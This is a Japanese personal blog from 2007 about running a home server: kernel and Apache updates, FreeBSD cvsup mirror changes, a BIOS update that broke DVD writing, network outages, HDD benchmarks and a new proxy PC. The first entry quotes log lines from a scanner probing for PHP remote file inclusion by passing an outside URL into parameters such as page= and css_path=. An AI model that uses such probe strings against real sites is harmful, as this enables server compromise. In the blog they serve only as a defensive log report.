久しぶりに激しいアクセスを発見。
「Morfeus Fucking Scanner」と名乗っている。PHP経由で、あるサイト(????????????部分は伏せています)のa.gifファイルを取ろうとしているよう。多分、このサイトのこのファイルを取り込むと、脆弱性有りと判断されて本格的に踏み台に利用されるのでしょう。
"GET /index.php?page=http://www.????????????.com/a.gif?/ "GET /phplive/help.php?css_path=http://www.????????????.com/a.gif?/ "GET /index.php?page=http://www.????????????.com/a.gif?/ "GET /admin.php?cal_dir=http://www.????????????.com/a.gif?/ "GET /common_include/common.php?commonIncludePath=http://www.????????????.com/a.gif?/ |延々と40弱個続く。
一挙に異常なアクセス数が増えてしまった。
8月26日に続き、昨日(2007/09/01 Sat)も公開webサーバカーネルアップデート。「acpi_perf0: Px transition to 1000 failed・・・」というエラーは、8月26日にでなくなって以来でないが、相変わらず下記の立ち上がり時のエラーは残ったまま。
est: CPU supports Enhanced Speedstep, but is not recognized.
どうも、日本の FreeBSD の cvs サーバが全て止まっているよう。この頃、日本の web サイトの更新が止まるなど、何となくコミュニティの動きが下火になっているようなところもあり、実に心配な状況。
落ち着いて調べたところ、止まっているのは cvsup4.jp.FreeBDS.org だけでした。他のサーバについては FW のフィルタがはねていた。
cvsup4.jp.FreeBDS.org から、切り替える作業をする際に他のサーバの様子を少しし調べたところ、webサイトの記述と違い、cvsup6.jp.FreeBSD.org も大阪大学ではなくなっていた。
cvsup6.jp.FreeBSD.org
infoserv.ics.es.osaka-u.ac.jp ⇒ cvsup-tk.sakura.ad.jp
当公開サーバの主要アプリケーション Apatche のアップデート。
少しさぼり気味だったのを反省してアップデート。
昨日 Windows Update の日。今回は Windows XP に緊急が無く少しのんびり本日アップデート。そう言えば、少し前の 2007年9月8日 に Silicon Image - Other Hardware - Silicon Image's Pseudo Processor Device のアップデートが有ったことも思い出した。S-ATA IF の Silicon Image SiI3124 の関係アップデートだと思うが、ドライバは別の物のようだし、実際何なのだろうか。
8/30付けで公開になっていたメインクライアント Supermicro X7DAE BIOS Update を実施。
今回はすんなりアップデートは終了。CPU 系の省電力系の項目が詳細になっていた。
ところが、使ってみるとトラブル。DVDオーサライザが DVD を書き始めてしばらくすると青画面も出さずにリブートしてしまう。ラベルまでちゃんと作った DVD-R を2枚ダメにしてしまった。
1.3b に書き戻し。書き戻せば正常に動作する。メモリタイミング関係のセッティングか、PCI-X系の動作が変わって玄人志向 SATA2RAID-PCIX(SiliconImage SiI3124)の先についているページファイルの読み書きがおかしくなるのか?
どうもWAN開演が瞬停したよう。
朝、自宅サーバーWebRing(ウェブリング)のログに、異常応答数が0から1に増えていておどろいた。メールを確認すると、確かに連絡が来ていた。
Subject:自宅サーバーWebRingサーバー監視サービスID No.294検査結果 -------- 2007.09.17 04:15:28 ettcweb0.aa0.netvolante.jp のサービスポート80番 が無応答のため、 入口ページ側にリンクを切替えました。 Subject:自宅サーバーWebRingサーバー監視サービスID No.294検査結果 -------- 2007.09.17 04:23:16 ettcweb0.aa0.netvolante.jp のサービスポート80番 の復旧を確認し、 通常のリングに復帰しました。
サーバ側には異常が見あたらなかったが、大阪向け、東京向けの ping の応答が無くなったとのメールが来ていた。MRTGを見ると確かに04時半頃に切れ目がある。
MDFにあるルータまでの記録には切れ目がないので、上位網(株式会社 ヴェクタント(DNSから想定))か、地域網側の問題だと思う。
100M VDSLになってからe-mansion(株式会社つなぐネットコミュニケーションズ)はちと不安定化。残念に思う。
2007/07/14 Satのような不気味な遅延がふたたび昨日から発生。
前回と同様で大阪方面も東京方面も遅延している。たまたま遅延したという感じではなく、多くのパケットが流れて全体に通信網が混み合ったことを想像させる増え方が不気味。それとも何か広域のノイズでDSL類の速度が落ちたか。
今回も JPIXのトラフィックを見ても以前から続く増加傾向ではあるけれど一時に増えた感じではない。サイバーポリスのインターネット定点観測をみても何かが急増している感じはない。
こうなると、上位通信網の株式会社 ヴェクタントで何か起こっている様な気がする。それなら、やはり何か広域のノイズで直近のVDSL以外のDSL類の速度が落ちたというのが濃厚か。
未だ続いたまま。
公開Webサーバで、Core2 Duo T5シリーズ+945系がなかなか低消費電力でパフォーマンスが高かったのが良かったので、能力不足が顕著になった自宅内proxyの入れ替えを決断。
自宅内proxyの為の買い物をする時に。、面白そうなHDDをいくつか購入。ベンチマークを取ってみる。
Seagate ST-3250410AS CrystalDiskMark 1.0 (C) 2007 hiyohiyo Sequential Read : 99.297 MB/s Sequential Write : 99.016 MB/s Random Read 512KB : 49.785 MB/s Random Write 512KB : 43.481 MB/s Random Read 4KB : 2.026 MB/s Random Write 4KB : 1.964 MB/s HGST HDT725032VLA360 CrystalDiskMark 1.0 (C) 2007 hiyohiyo Sequential Read : 74.029 MB/s Sequential Write : 71.117 MB/s Random Read 512KB : 49.357 MB/s Random Write 512KB : 44.767 MB/s Random Read 4KB : 2.087 MB/s Random Write 4KB : 2.865 MB/s
えらく安い割にSeagate ST-3250410ASはえらく速い。店員さんによると7200.10のシリーズながら、中身は、7200.11とおなじ1プラッタ250GBのお皿とのこと。密度が上がってお皿が1枚になり、安くて高速なHDDになっている。
その他も含めてまとまったらその他も含めて利用しているHDDの概略に掲載予定。
入れ替えたばかりの新自宅内Proxy(MSI AXIS 945GS (Core2 Duo T5系))が 静かだと感じる。メインのPCがうるさいのであまり気がついていなかったが旧自宅内Proxy (MSI MS-6251TL (P3系列))が結構うるさかったのかも知れない。それとも奥行きが長くなったのでファンが遠くなったからか? 低消費電力化がうまくいっている様なので発熱が小さくなってファンがあまり回らなくなったと言うのが一番有りそうに思う。
どれにしてもテレビの音の聞こえ方がが変わったように感じるほど体感騒音がかなり異なる。
メインのPCと自宅内Proxyの電源をON-OFFと連動してHUBやディスプレイの電源が連動するように電流関知型の連動コンセントを使っていたが電源が切れなくなってしまった。新自宅内Proxy(MSI AXIS 945GS(Core2 Duo T5系))が電源を切ってもキーボードやマウスに電源を供給するからだと思う。
思案の末、消費電力も減ったことであるし、新自宅内ProxyをメインPCのUPSの配下に入れてしまい、UPSのON-OFFに周辺機器の電源を同期させるように変更。UPSにシリアルボードを増設して今は手動の新自宅内Proxyの電源OFFを自動化したいな。